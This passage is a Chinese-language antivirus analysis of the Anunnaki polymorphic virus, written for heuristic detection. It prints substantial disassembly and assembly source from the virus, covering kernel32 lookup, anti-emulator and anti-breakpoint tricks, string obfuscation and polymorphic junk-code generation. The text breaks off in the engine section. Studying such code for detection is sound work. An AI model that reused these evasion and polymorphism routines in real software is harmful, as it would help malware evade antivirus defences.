=|--bytehero team--|= /=-----------------------------------------------------------------------=\ |=-------------=[ 基于启发式技术检测复杂病毒Anunnaki ]=------------=| |=-----------------------------------------------------------------------=| |=---------------=[ by nEINEI/[bytehero]/091118 ]=-------------=| |=---------------=[ nEINEI<neinei_at_bytehero_dot_com> ]=-------------=| \=-----------------------------------------------------------------------=/
[目录] [0x01].简介 [0x02].Anunnaki变形病毒技术分析 2.1.Anunnaki特性简介 2.2.Anunnaki执行流程 2.3.get kernel base address 2.4.anti av-emulator and anti av-heuristic 2.5.polymorphic 2.5.1 Offensive polymorphic engine 功能描述 2.5.2 仿真无效指令设计 2.5.3 poly engine的实现 2.6.EPO technology 实现 2.7.感染后文件对比 [0x03].防御技术的困境 3.1.特征码的失效 3.2.关于主动防御技术 3.3.关于“云”安全技术 3.4.关于启发式检测技术 [0x04].寻找复杂病毒的漏洞 4.1.重定位手段 4.2.跨节区跳转 4.3.怪异的macros 4.4.EPO跟踪 4.5.polymorphic的不足 4.6.关于检测 [0x05].启发式技术检测Anunnaki 5.1.构造仿真器 5.2.执行时数据的跟踪 5.3.没有终结的对抗 [0x06].其他
[0x01].简介
启发式检测技术作为特征检测技术的辅助手段,已经用实践经验证明了是检测病毒的一个成功手段,基于启发式的扫描器最大弱点就是会导致过多的虚警,但在某些方面(如宏病毒,ani格式,swf格式漏洞等方面,加密,变形等),如果缺少的启发式检测机制,仅依靠基于特征码技术、主防、”云“技术等Aver手段将无法完成病毒的完全性检测。
Anunnaki多态病毒是由Dark Prophet编写的最新病毒,发布日期09-10-20。该病毒的payload仅弹出一个msgbox,提示”U was infected by almighty Anunnaki“,并没有破坏性的动作,Anunnaki在感染,反虚拟机,变形等方面总结了之前的一些经验,做了一些新的尝试,虽然在Anti-emulation中并没加入vx群体最新的研究成果,但仍然有效的跳过了一些av中的sandbox检测。下面将在结合Anunnaki的分析中,完成启发式检测方案。
[0x02]. Anunnaki变形病毒技术分析
2.1 Anunnaki特性简介
Virus type - 直接感染当前目录下的文件 Target files - EXE 文件 Target OS - Win2k/2003/xp/vista/2008/win7 Infection type - 添加最后一个节 Infection mark - 不会多重感染 Polymorphic - 同样使用了由prophet自己编写的多态引擎(Offensive polymorphic engine) - 支持32bit滑动密钥(xor/add/sub) EPO - Patch ExitProcess/exit/_exit,支持call rel32/call dword ptr [mem32] Payload - Message box Armoured - 反仿真器 - 检测 SW breakpoints 通过检测api调用处是否有bpx,能绕过比较差的sandbox Apis resolving - 通过crc校验值方式 Other features - 不使用Delta offset方式重定位 - 慢随机感染(不是每次都能触发感染替罪羊程序) - 最后一个节不设置可写标志 (anti-heuristic) - 随机插入数据到virus body - 使用SEH - 可设置垃圾字节数及多态级别,病毒大小可变 DEP support - 在DLLCharacteristics为0时,设置Nx_Compatible标志
ASLR support - Implicit - neither virus nor decryptors are position dependant SafeSeh support - 禁用了 SafeSEH 使用自定义SEH处理程序
2.2 Anunnaki执行流程 简化的执行步骤, step 1: 重定位,获得当前基址 step 2: 安装SEH step 3: anti emulator_1 step 4: anti emulator_2 setp 5: 获得调用的APIs step 6: 获得SFCH支持函数 step 7: 搜索当前目录,进行感染 step 8: 执行payload
Anunnaki Flow Charts ------. | V +------------------+ | 重定位 | +------------------+ | V +------------------+ | 安装SEH | +------------------+ | V +------------------+ | anti emulator1 | +------------------+ | V +------------------+ | 初始化病毒vars | +------------------+ | V +------------------+ | anti emulator2 | +------------------+ | V +------------------+ | get apis | +------------------+ | V +------------------+ | get sfc apis | +------------------+ | V +------------------+ |search current dir| +------------------+ / \ +--------. .----------------+ | | V V +---------------------+ +-------------+ |infect file (*.exe) | | exit | +---------------------+ +-------------+ | V +---------------------+ | epo && ope && crypt | +---------------------+ | V +---------------------+ | exec payload | +---------------------+ | V +---------------------+ | exit | +---------------------+
2.3 get kernel32 base address
在获得kernel32.dll base address方面,实用稳定的方式有3种,
1: 进程被加载后,esp指向kernel32.dll空间,搜索该空间即可 2:遍历SEH链,当prev == -1 时,该处理异常的routine,在kernel32.dll的地址空间,搜索该空间即可找到kernel 的base address。 3:利用fs:[30]获得PEB,通过遍历InMemoryOrder模块列表,直接定位base address。Anunnaki使用了方案3。
还有一些稀奇古怪的硬编码方式,缺少通用性。但是作为一种思路,可应用在编写shellcode,检测os version,或是SEH当中。
——————in :null ——————out:eax --> kernel32的基址
0040159D |> 60 pushad 0040159E |. FC cld 0040159F |. 33D2 xor edx,edx 004015A1 |. 64:8B52 30 mov edx,dword ptr fs:[edx+30] ; 指向PEB的指针 004015A5 |. 8B52 0C mov edx,dword ptr ds:[edx+C] ; 指向PEB->_PEB_LDR_DATA 004015A8 |. 8B52 14 mov edx,dword ptr ds:[edx+14] ; 指向InMemoryOrder中第一个模块列表 004015AB |> 8B72 28 /mov esi,dword ptr ds:[edx+28] ; esi指向模块名称 004015AE |. B9 18000000 |mov ecx,18 ; 按Unicode计算kernel32.dll的长度为0x18 004015B3 |. 33FF |xor edi,edi ; edi 为要计算的模块名称的hash值 004015B5 |> 33C0 |/xor eax,eax 004015B7 |. AC ||lods byte ptr ds:[esi] ; esi 指向模块名的首地址 004015B8 |. 3C 61 ||cmp al,61 ; 61 -> 'a' 004015BA |. 7C 02 ||jl short Anunnaki.004015BE 004015BC |. 2C 20 ||sub al,20 004015BE |> C1CF 0D ||ror edi,0D 004015C1 |. 03F8 ||add edi,eax 004015C3 |.^ E2 F0 |\loopd short Anunnaki.004015B5 004015C5 |. 81FF 5BBC4A6A |cmp edi,6A4ABC5B ; edi 是计算的hash值,6A4ABC5B - > kernel32.dll 对应的hash值 004015CB |. 8B5A 10 |mov ebx,dword ptr ds:[edx+10] 004015CE |. 8B12 |mov edx,dword ptr ds:[edx] ; 下一个模块的地址 004015D0 |.^ 75 D9 \jnz short Anunnaki.004015AB 004015D2 |. 895C24 1C mov dword ptr ss:[esp+1C],ebx ; 计算当前堆栈位置,在popad后,该值赋值给eax 004015D6 |. 61 popad 004015D7 \. C3 retn
2.4 anti av emulator and anti av-heuristic
I)在反仿真器检测方面Anunnaki并没有使用vxer群体里面讨论的太多新的技术,采用了2种实用的方案:
方案1:利用gethostbyname的返回值,来测试程序是否运行在仿真环境,其中返回值直接读取teb中的LastErrorValue,通过校验该值来判断是否直接退出,同类的思路应用于NOD32这样的级别的AV对抗中,仍然有效。原因不在于矛有多锋利,而在于身在明处的盾,只要有耐心总是有漏洞可寻,例如NOD32对程序执行的时间及相关涉及时间的变形代码很敏感。
anti_emul_1: 0040169E /$ 60 pushad 0040169F |. 6A 00 push 0 004016A1 |. 68 61727941 push 41797261 004016A6 |. 68 4C696272 push 7262694C 004016AB |. 68 4C6F6164 push 64616F4C 004016B0 |. 54 push esp ; esp - > loadlibraryA 004016B1 |. E8 E5FEFFFF call Anunnaki.0040159B ; get kernel32 base 004016B6 |. 50 push eax 004016B7 |. E8 CCFDFFFF call <Anunnaki.my_getprocaddress> 004016BC |. 83C4 10 add esp,10 ; eax -> loadlibrary address 004016BF |. 85C0 test eax,eax 004016C1 |. 0F84 91000000 je Anunnaki.00401758 004016C7 |. 8BD0 mov edx,eax 004016C9 |. 6A 00 push 0 004016CB |. 68 6C6C0000 push 6C6C 004016D0 |. 68 33322E64 push 642E3233 004016D5 |. 68 7773325F push 5F327377 004016DA |. 54 push esp ; esp - > ws2_32.dll 004016DB |. FFD2 call edx 004016DD |. 83C4 10 add esp,10 004016E0 |. 85C0 test eax,eax 004016E2 |. 74 74 je short Anunnaki.00401758 004016E4 |. 6A 65 push 65 004016E6 |. 68 796E616D push 6D616E79 004016EB |. 68 6F737462 push 6274736F 004016F0 |. 68 67657468 push 68746567 004016F5 |. 54 push esp ; esp->gethostbyname 004016F6 |. 50 push eax 004016F7 |. E8 8CFDFFFF call <Anunnaki.my_getprocaddress> 004016FC |. 83C4 10 add esp,10 004016FF |. 85C0 test eax,eax 00401701 |. 74 55 je short Anunnaki.00401758 00401703 |. 8BF8 mov edi,eax 00401705 |. 6A 00 push 0 00401707 |. 68 6F6D0000 push 6D6F 0040170C |. 68 6C652E63 push 632E656C 00401711 |. 68 676F6F67 push 676F6F67 00401716 |. 54 push esp ;esp->"google.com" 00401717 |. FFD7 call edi ;call - > gethostbyname("google.com") 00401719 |. 83C4 10 add esp,10 0040171C |. 64:A1 34000000 mov eax,dword ptr fs:[34] ; 从teb中读取GetLastError数值给eax 00401722 |. 69C0 01000100 imul eax,eax,10001 00401728 |. 35 58862413 xor eax,13248658 0040172D |. 3D 35A14934 cmp eax,3449A135 ; 校验返回值 00401732 |. 74 24 je short Anunnaki.00401758 00401734 |. 6A 00 push 0 00401736 |. 68 65737300 push 737365 0040173B |. 68 50726F63 push 636F7250 00401740 |. 68 45786974 push 74697845 00401745 |. 54 push esp ; esp->ExitProcess 00401746 |. E8 50FEFFFF call Anunnaki.0040159B 0040174B |. 50 push eax 0040174C |. E8 37FDFFFF call <Anunnaki.my_getprocaddress> 00401751 |. 83C4 0C add esp,0C 00401754 |. 6A 00 push 0 00401756 |. FFD0 call eax ; 00401758 |> 61 popad 00401759 \. C3 retn
方案2:利用仿真器一般不会仿真处理SSE指令这里特点来判断是否运行于仿真环境中,这点其实对AV-emulator来说很容易补上,关键在于当你想到时,已经晚了一步,所以aver得继续努力跟进。
anti_emul_1: 00401757 |? 50 push eax 00401758 |> 0F2FC0 comiss xmm0,xmm0 ;比较低位数并且设置标识位 0040175B |. 33C0 xor eax,eax 0040175D |? 0F2AC0 cvtpi2ps xmm0,mm0 ;32位整数转变为浮点数 00401760 |. 58 pop eax 00401761 |? C3 retn 00401762 |? 56 push esi
II)在反启发式检测方面,Anunnaki很注意在stack中的数据的隐藏,绝不在stack及code中出现有含义的数据,这样使得特征扫描,及通配符匹配,不相等字 符匹配等等检测方式失效,例如,对bpx的检测:
detect_bpx: 00401762 56 push esi 00401763 51 push ecx 00401764 8BF0 mov esi,eax 00401766 B9 05000000 mov ecx,5 0040176B 33C0 xor eax,eax 0040176D AC lods byte ptr ds:[esi] 0040176E 35 99000000 xor eax,99 00401773 83F8 55 cmp eax,55 ; -- av 跳过 00401776 74 24 je short Anunnaki.0040179C 00401778 83F8 54 cmp eax,54 ; -- av 跳过 0040177B 74 1F je short Anunnaki.0040179C 0040177D 83F8 09 cmp eax,9 ; -- av 跳过 00401780 74 1A je short Anunnaki.0040179C 00401782 83F8 71 cmp eax,71 ; -- av 跳过 00401785 74 15 je short Anunnaki.0040179C 00401787 83F8 70 cmp eax,70 ; -- av 跳过 0040178A 74 10 je short Anunnaki.0040179C 0040178C 83F8 63 cmp eax,63 ; -- av 跳过 0040178F 74 0B je short Anunnaki.0040179C 00401791 83F8 62 cmp eax,62 ; -- av 跳过 00401794 74 06 je short Anunnaki.0040179C 00401796 ^ E2 D3 loopd short Anunnaki.0040176B 00401798 33C0 xor eax,eax 0040179A EB 03 jmp short Anunnaki.0040179F 0040179C 33C0 xor eax,eax 0040179E 40 inc eax 0040179F 59 pop ecx 004017A0 5E pop esi 004017A1 C3 retn
以上的比较值0x55,0x54,0x9,0x71,0x70,0x63,0x62时,几乎不会引起任何scanner的警觉,但当上述值与0x99做xor操作后,即明白是检测bpx的操作。
0x55 xor 0x99 - > 0xcc (int 3) 0x54 xor 0x99 - > 0xcd (int 0) 0x09 xor 0x99 - > 0x90 (nop) 0x71 xor 0x99 - > 0xe8 (call rel32) 0x70 xor 0x99 - > 0xe9 (jmp rel32) 0x63 xor 0x99 - > 0xfa (cli) 0x62 xor 0x99 - > 0xfb (sti)
类似的应用还有在stack中压入字符串操作,我们可以看到bin中的所有字符串操作都是采用下面的手法:
.text:00401705 6A 00 push 0 .text:00401707 68 6F 6D 00 00 push 6D6Fh --- > 'mo' .text:0040170C 68 6C 65 2E 63 push 632E656Ch --- > 'c.el' .text:00401711 68 67 6F 6F 67 push 676F6F67h --- > 'goog' .text:00401716 54 push esp --- > 'gogle.com' .text:00401717 FF D7 call edi --- > call gethostbyname
.text:00401108 6A 00 push 0 .text:0040110A 68 65 73 73 00 push 737365h --- > 'sse' .text:0040110F 68 50 72 6F 63 push 636F7250h --- > 'corP' .text:00401114 68 45 78 69 74 push 74697845h --- > 'tixE' .text:00401119 54 push esp --- > call ExitProcess
这样av scanner 都会认为压入的是数值而忽略了该方式的检测。
2.5.Polymorphic engine
2.5.1 Offensive polymorphic engine 功能描述
在进行感染前,Anunnaki会在病毒体前后,随机洒满垃圾数据,这样virus body就具有可变大小,更重要的是夹杂在垃圾数据间的code,看起来更像是一个数据段,极具迷惑作用。ope 是一个复杂的可配置的多态引擎,根据需求提供不同的可变代码生成机制,但该引擎并没有完全写完,还有一些高级功能未完成,但这不影响在编写virus中的应用。可以看到,感染后的数据情况,virus body 前后都套了不同层数的保护(垃圾数据及仿真的无效指令),在此基础上进行数据的多态变形。
buffer---> +-----------------------------+ buffer------> | | +----------------------+ | .-----------> +---------------------------+ | | | Gen trash data | | / |cryptor buff by buf_len | | | +----------------------+ | / +---------------------------+ | | | | / | | | V | / V | | +----------------------+ | / +---------------------------+ | | |emulator instruction | | / |set decryptor instruction |-----. | | +----------------------+ | / +---------------------------+ | | | | | / 进行数据的多态变形 | | V | V | V | buf_len | +----------------------+ | +---------------------------+ | A | | virus body | | |insert emulator instruction| |loop不断在decryptor中 | | +----------------------+ | +---------------------------+ |夹杂混淆干扰数据 | | | | | | | | | | V | V | | | +----------------------+ | +---------------------------+ | | | | Gen trash data | | |set decryptor instruction | | | | +----------------------+ | +---------------------------+ <---. .------ +-----------------------------+ | V +---------------------------+ finish--> | confused code | +---------------------------+
在经过polyengine处理后,ope支持在该层数据上继续进行多态变形处理。
mov eax,VIRUS_POLY_LAYERS_MAX;最大默认为3层 call rand test eax,eax jz @f mov ecx,eax CreateLayer: mov eax,ebx call PolyEngine ;... 重新设置入口偏移 loop CreateLayer @@: ;... 理论上层数越多越难处理,但实际效果上层数不易过多,否则影响程序执行效率。
2.5.2 仿真无效指令设计:
早期的多态引擎在无效指令方面设计的较为简单,利用1字节,2字节,3字节,等无效指令插入真正的代码当中,来达到混淆数据的目录,1990年,mark编写的1260病毒,是最早引入该机制的病毒.
在代码中随机插入1字节指令 inc si \ dec si \clc \ nop \
插入2字节指令 sub bx,bx \ xor bx,cx \ div ax \
插入3字节指令 add bx,0 \ add cx,0\
这些技术都曾对特征检测制造过很大麻烦,随着aver研究的深入,只要静态检测配合一个反汇编器,就可解决掉1260这样简单的多态病毒,但这一思路一直保 持到今天多态引擎设计当中,GyiYo/29A的基于win32平台hps多态引擎继续给aver制造难题,使用了高度结构化的解码器同时支持指令乱序,但很重要一点就是当它产生junk时,你不仔细分析,将认为这就是正常的程序代码。ope引擎同样非常优秀,产生的无效指令一样使人看起来很真实,并不像垃圾指令。下面分析仿真无效指令的设计。
I) 寄存器的使用说明:
定义寄存器的索引值, enum { eax = 0,ecx,edx,ebx,esp,ebp,esi,edi };
II) 设置要使用的寄存器:
设置esp,ebp 作为使用的寄存器。 00402621 <Anunnaki.set_reg_32> /$ 50 push eax ;eax 为要设置的寄存器索引 00402622 |. E8 E5FFFFFF call <Anunnaki.convert_32> 00402627 |. 3145 58 or dword ptr ss:[ebp+58],eax ;将0x00000010 保存到poly_vars.poly_reg_usage 0040262A |. 58 pop eax
0040260C <Anunnaki.convert_32> /$ 51 push ecx 0040260D |. 8BC8 mov ecx,eax ; 如eax = 4; 0040260F |. 33C0 xor eax,eax 00402611 |. 40 inc eax 00402612 |. D3C0 rol eax,cl 00402614 |. 59 pop ecx ; 最后的结果为eax = 0x00000010
unset_reg_32(取消使用的寄存器)原理和这个类似,仅差一条语句,不在赘述, xor dword ptr ss:[ebp+58],eax ; 消除要取消的寄存器标志位。
III)无效指令的生成:
ope支持产生最大值为5的一个自定义过程调用,初始化时,将在buff中产生子过程调用的代码,支持如下方式代码的产生: POLY_FLAG_IN_LOOP equ 1 ; in loop POLY_FLAG_IN_SUBR equ 2 ; in subroutine POLY_FLAG_IN_PRED equ 4 ; in predicate
随机产生递归的深度,来控制产生无效指令的多少,这里Prophet还预留了产生API调用,但目前还未完成该功能,如果不追求metamorphic的复杂与巨大的体积,智能化的Polymorphic将继续是对抗的热点所在,而且会不断的给aver制造麻烦。
00402194 <Anunnaki.junk>/$ 60 pushad 00402195 |. 8BE8 mov ebp,eax 00402197 |. E8 20000000 call <Anunnaki.PolyInit> ; 初始化设置前面提到的寄存器 0040219C |. E8 32FAFFFF call <Anunnaki.PolyGarbleInit> ; 初始化多态设置及何种的子过程调用 004021A1 |. 8B7D 14 mov edi,dword ptr ss:[ebp+14] ; PolyCreateGarbage 004021A4 |. 8BC7 mov eax,edi ; edi - > 填充无效指令的位置 004021A6 |. 85C9 test ecx,ecx 004021A8 |. 74 10 je short Anunnaki.004021BA 004021AA <Anunnaki.junk>|> E8 4BFAFFFF /call <Anunnaki.PolyGarble> ;循环填写仿真的无效指令 004021AF |.^ E2 F9 \loopd short <Anunnaki.PolyGarble> 004021B1 |. 2BF8 sub edi,eax 004021B3 |. 897D 1C mov dword ptr ss:[ebp+1C],edi 004021B6 |. 897C24 1C mov dword ptr ss:[esp+1C],edi 004021BA |> 61 popad 004021BB \. C3 retn
IV) 随机无效指令派发: 能产生push/pop loop call jump等这些类型的指令
00401C1C $ B8 21000000 mov eax,21 ; 21是随机种子,包含最大的产生无效指令类型 00401C21 . E8 B30A0000 call <Anunnaki.random> ; 随机获得一种类型,产生不同类型指令 00401C26 . 83F8 07 cmp eax,7 ; 产生PUSH_POP; 00401C29 . 72 38 jb short Anunnaki.00401C63 00401C2B . 83E8 07 sub eax,7 00401C2E . 83F8 05 cmp eax,5 ; 产生PREDICATE 00401C31 . 72 29 jb short Anunnaki.00401C5C 00401C33 . 83E8 05 sub eax,5 00401C36 . 83F8 02 cmp eax,2 ; 产生LOOP 00401C39 . 72 1A jb short Anunnaki.00401C55 00401C3B . 83E8 02 sub eax,2 00401C3E . 83F8 02 cmp eax,2 ; 产生CALL 00401C41 . 72 30 jb short Anunnaki.00401C73 00401C43 . 83E8 02 sub eax,2 00401C46 . 83F8 05 cmp eax,5 00401C49 . 72 21 jb short Anunnaki.00401C6C 00401C4B . 83E8 05 sub eax,5 00401C4E . E8 7E030000 call <Anunnaki.Garble_Create_Modrm> ;产生内存寻找方式 00401C53 . EB 23 jmp short Anunnaki.00401C78 00401C55 > E8 A8000000 call <Anunnaki.Garble_Loop> ;循环结构 00401C5A . EB 1C jmp short Anunnaki.00401C78 00401C5C > E8 22000000 call <Anunnaki.Garble_Predicate> ;产生一个不透明谓词(暂且这样称呼,主要是修改jmp为条件 00401C61 . EB 15 jmp short Anunnaki.00401C78 ;跳转,但执行时条件永远为真) 00401C63 > E8 73000000 call <Anunnaki.Garble_Push_Pop> ;产生push/pop 00401C68 . EB 0E jmp short Anunnaki.00401C78 00401C6A . EB 0C jmp short Anunnaki.00401C78 00401C6C > E8 EF030000 call <Anunnaki.Garble_Create_Imm> ;产生imm 方式 00401C71 . EB 05 jmp short Anunnaki.00401C78 00401C73 > E8 18010000 call <Anunnaki.Garble_Sub_Call> ;产生call 00401C78 > 85C9 test ecx,ecx 00401C7A . 74 06 je short Anunnaki.00401C82 00401C7C . 49 dec ecx 00401C7D . E8 9AFFFFFF call <Anunnaki.Garble> 00401C82 > C3 retn
V) 各种指令的构造原理:
随机产生各种寄存器的情况下,根据每一种指令的特点,产生不同寄存器的不同寻址方式,下面做简要说明,rx(表示任意一个可使用的寄存器)
1 push : 可产生 push xxxx/ push rx / push [rx + xxxxx] 方式
a)立即数寻找方式: Garble_Push_Imm: mov eax,2 call random push ebx mov ebx,eax rol eax,1 add eax,68h stosb
b)push随机寄存器方式 Garble_Push_Reg32: call get_reg_32 ; 返回0 ~ 8 的寄存器索引 add al,50h stosb retn
c)push内存寻址方式 Garble_Push_Modrm: mov al,0ffh stosb push edi call Garble_Create_Modrm_Byte pop eax and byte ptr [eax],11000111b ; 2(11):3(000):3(111) -> 2(11) -> [reg + rm] add byte ptr [eax],6 SHL 3 retn
2 imm 方式:
Garble_Create_Imm: push ebx call get_free_reg_32_no_set ;获得一个不被使用的寄存器,从poly_vars->poly_reg_usage 获得 mov ebx,eax ;并重新设置相关位 cmp eax,-1 je Garble_Create_Imm_E mov eax,5 call random test eax,eax jz Garble_Imm_Init_Ptr cmp eax,1 jbe Garble_Imm_Inc_Dec mov eax,0b8h ;产生一个mov rx, (ebx 存放具体不能被使用的寄存器索引数值) add eax,ebx stosb mov eax,-1 ;设置一个32bit最大值 call random stosd ;将4byteimm写入内存,形成mov rx,imm pop ebx retn
同理还可以产生 sub rx /inc rx /dec rx 等等方式操作。
3 mod/rm 方式:
步骤: 1 产生一个随机数,判断是否要有0x66前缀 2 获得当前能用的寄存器标志,如果不等于0,则产生add / or / and / sub / xor / mov 指令,否则跳向步骤3 3 没有可选寄存器,调用Garble_Create_Modrm_Byte,生成mov rx,rx 等指令。
对于没有寄存器可用的情况下,如何生成不影响当前代码的指令,ope使用的简洁的一个方案,那就是一律产生mov r1,r1(r1指相同的寄存器) 类指令,具体方式, 向缓冲区写入0x89 (opcode -> mov) opcode format +----------+---------+---------+--------+-------------+----------+ |prefixes | opcode |Mod/rm |sib |displacement |immediate | +----------+---------+---------+--------+-------------+----------+ | 0x89 | +---------+ 可以看出,要产生mov r1,r1 指令,关键是mod/rm域中要填入的合适的值。mod/rm域用于指出寻址方式,包括内存寻址及寄存器寻址,mod/rm占1字节,按2:3:3 bit解析,当m1可表示4种寻址模式,当m1 == 11时表示寄存器到寄存器,(m2,m3)占3bit,表示8种寄存器,故只要保证m2,m3数值相同,逻辑或 0xc0 即可。 m1 m2 m3 mod/rm -- > +--------+---------+--------+ | 11 | 00 | 00 | ----> 0xc0 +--------+---------+--------+ 其他类型指令的产生与上述情况类似,涉及mod/rm sib displacement immediate 格式的解析,生成不同指令,不再赘述。
具体的变形代码如下: Garble_Create_Modrm_Byte: push ebx ; 保存poly_vars结构 call get_free_reg_32_no_set ;获得一个未使用的寄存器索引 cmp eax,-1 je Modrm_reg1_reg1 ; 没有可用寄存器 rol eax,3 mov ebx,eax mov eax,5 call random test eax,eax jz Modrm_Reg_Reg cmp eax,3 jb Modrm_Stack_Read Modrm_Mem_Acc: mov eax,3 call random test eax,eax jz Modrm_Mem_Direct cmp dword ptr [ebp].poly_junk_mem_pos,0 je Modrm_Mem_Direct Modrm_Mem_AccNoDisp: mov eax,dword ptr [ebp].poly_junk_mem_reg add eax,ebx stosb
mov eax,dword ptr [ebp].poly_read_mem_size sub eax,4 call random add eax,dword ptr [ebp].poly_read_mem_base
mov ebx,eax sub ebx,dword ptr [ebp].poly_junk_mem_pos
mov eax,6 call random
cmp eax,0 je Modrm_Mem_Disp32
cmp eax,4 jb Modrm_Mem_Disp8
pop ebx retn
Modrm_Mem_Disp8: add byte ptr [edi - 1],40h mov byte ptr [edi],bl inc edi
pop ebx retn
Modrm_Mem_Disp32: add byte ptr [edi - 1],80h mov dword ptr [edi],ebx add edi,4
pop ebx retn
Modrm_Mem_Direct: mov eax,dword ptr [ebp].poly_options and eax,POLY_OPT_MEM_ACC_DIRECT test eax,eax jnz Modrm_Stack_Read
cmp dword ptr [ebp].poly_read_mem_base,0 je Modrm_Stack_Read
mov eax,5 add eax,ebx stosb
mov eax,dword ptr [ebp].poly_read_mem_size call random add eax,dword ptr [ebp].poly_read_mem_base
stosd jmp Modrm_End Modrm_Stack_Read: mov eax,ebx add eax,45h mov byte ptr [edi],al mov eax,2 call random test eax,eax jz Modrm_Stack_Ebp mov byte ptr [edi + 1],24h sub byte ptr [edi],1 inc edi Modrm_Stack_Ebp: inc edi mov eax,POLY_ESP_ACC_RNG_MAX call random imul eax,4 mov ebx,eax mov eax,2 ; +/- disp call random test eax,eax jz Modrm_Stack_DispPos xor eax,eax sub eax,ebx Modrm_Stack_DispPos: mov byte ptr [edi],al inc edi jmp Modrm_End
Modrm_Reg_Reg: call get_reg_32_no_stack;产生mov r1,r2 add eax,ebx ; free reg add eax,0c0h stosb jmp Modrm_End
Modrm_reg1_reg1: call get_reg_32 ; 产生 mov r1/r1 mov ah,al rol al,3 add al,ah add al,0c0h stosb Modrm_End: pop ebx retn
4 sub_call 方式:
步骤 1 检测配置中是poly_subroutines_count == 0 ?是0则退出,否则步骤2 2 检测配置中是否设置subroutine标志,没设置退出 3 检测poly_subroutines_table中是否参数标志,因为产生的call 是按__cdecl方式压栈的 4 如果是有参数的情况,负责清栈。 5 调用Garble_Create_Push,产生不同类型的push 32_bit / push 8_bit / push rx / push [rx + rx] 6 生成call 指令
Garble_Sub_Call: push ecx push ebx cmp dword ptr [ebp].poly_subroutines_count,0 ; 检测是否设置的sub_call方式 je Garble_Sub_Call_End
call Is_In_Subr ; test eax,eax jnz Garble_Sub_Call_End
mov eax,dword ptr [ebp].poly_subroutines_count ;读取计数 call random lea eax,[eax * 8]
lea ebx,[ebp].poly_subroutines_table add ebx,eax
cmp dword ptr [ebp].poly_junk_mem_pos,0 ; 比较是否初始化junk内存数据 je Garble_Sub_No_Save1
mov ecx,dword ptr [ebp].poly_junk_mem_reg add ecx,50h mov byte ptr [edi],cl ; inc edi
Garble_Sub_No_Save1: mov ecx,dword ptr [ebx + 4] ; test ecx,ecx jz Garble_Sub_No_Arg ;生成无参数call 指令
Garble_Sub_Arg: ;为有参数call 设置push 指令 call Garble_Create_Push loop Garble_Sub_Arg
Garble_Sub_No_Arg: mov eax,dword ptr [ebx] sub eax,edi sub eax,5 mov byte ptr [edi],0e8h inc edi stosd
mov eax,dword ptr [ebx + 4] ; test eax,eax jz Garble_Sub_No_Save2
imul eax,4 rol eax,16 add eax,9000c483h ; 产生 sub esp , xxxx,清空堆栈 stosd dec edi Garble_Sub_No_Save2: cmp dword ptr [ebp].poly_junk_mem_pos,0 je Garble_Sub_Call_End mov eax,dword ptr [ebp].poly_junk_mem_reg add eax,58h stosb ; pop rx Garble_Sub_Call_End: pop ebx pop ecx retn
5 loop 方式:
步骤 1 检测配置中是否设置loop方式,随机设置loop的循环次数,范围10000h ~ 1000h 2 初始化loop 所用的寄存器 3 产生一个对rx 赋值循环计数的指令,支持的格式包括 mov rx,cnt / lea rx ,[cnt] / push cnt ,pop rx 4 在loop插入仿真无效指令 5 递减计数
Garble_Loop: call Is_In_Loop test eax,eax jnz Garble_Loop_End cmp ecx,5 jbe Garble_Loop_End call get_free_reg_32 cmp eax,-1 je Garble_Loop_End call Set_In_Loop ; 保存设置 mov ebx,eax mov eax,POLY_LOOP_ITERATION_MAX ; 最大loop计数 call random add eax,POLY_LOOP_ITERATION_MIN ; 获得一个随机的loop计数 push ecx mov ecx,eax call Asm_Mov_Reg_Imm_32 ;产生一个mov rx ,imm32 指令 pop ecx push edi push ebx dec ecx call Garble ;插入无效指令 pop eax mov ebx,eax call unset_reg_32 ; 递减计数 mov al,48h add al,bl stosb mov al,085h ;测试计数 stosb mov eax,ebx rol eax,3 add eax,ebx add eax,0c0h stosb pop eax ; 产生一个 jcc sub eax,edi push eax not eax cmp eax,255 / 2 pop eax jbe Garble_Loop_Short sub eax,6 ;产生一个 near jcc mov word ptr [edi],0850fh mov dword ptr [edi + 2],eax add edi,6 jmp Garble_Loop_Cont ;产生一个 short jcc
~~~~~~~~~~~~~~~~~~~~~~ 经过上述变换,产生的无效指令效果如下,可以看到如果不经过分析,是不容易利用程序分析出这些是无效指令的。 loop: 00A00298 68 DE320000 push 32DE 00A0029D 5E pop esi 00A0029E 337C24 00 xor edi,dword ptr ss:[esp] 00A002A2 4E dec esi 00A002A3 85F6 test esi,esi 00A002A5 ^ 75 F7 jnz short 00A0029E
push/pop: 00A009D8 54 push esp 00A009D9 8B5C24 00 mov ebx,dword ptr ss:[esp] 00A009DD 5A pop edx 00A009DE BF 7B3DF36F mov edi,6FF33D7B 00A009E3 FF75 F0 push dword ptr ss:[ebp-10] 00A009E6 53 push ebx
jump: 00A009EB /74 04 je short 00A009F1 00A009ED |40 inc eax 00A009EE |66:33F0 xor si,ax 00A009F1 \FF7424 00 push dword ptr ss:[esp] 00A009F5 4A dec edx 00A009F6 8BC0 mov eax,eax 00A009F8 5B pop ebx
imm: 00A00A06 BB 14C44F40 mov ebx,404FC414 00A00A0B 33DE xor ebx,esi 00A00A0D 0B4D 00 or ecx,dword ptr ss:[ebp] 00A00A10 8B7D 00 mov edi,dword ptr ss:[ebp]
mod/rm: 00A009CA 8D15 2C8A0000 lea edx,dword ptr ds:[8A2C] 00A009D0 66:33C0 xor ax,ax 00A009D3 4A dec edx 00A009D4 85D2 test edx,edx 00A009D6 ^ 75 F8 jnz short 00A009D0
call : 00A02B10 E8 03000000 call 00A02B18 00A02B15 234D 00 and ecx,dword ptr ss:[ebp] 00A02B18 5F pop edi 00A02B19 81C7 EBD45FFF add edi,FF5FD4EB 00A02B1F 81C7 F52AA000 add edi,0A02AF5 00A02B25 8B4C24 00 mov ecx,dword ptr ss:[esp]
2.5.3 poly engine的实现
ope 采用的是随机密钥+滑动密钥方案,加密支持的指令为(xor / sub / add),滑动密钥支持的指令为(sub / add / xor),加密中ope维护一个poly_vars 这样一个结构体,定义如下:
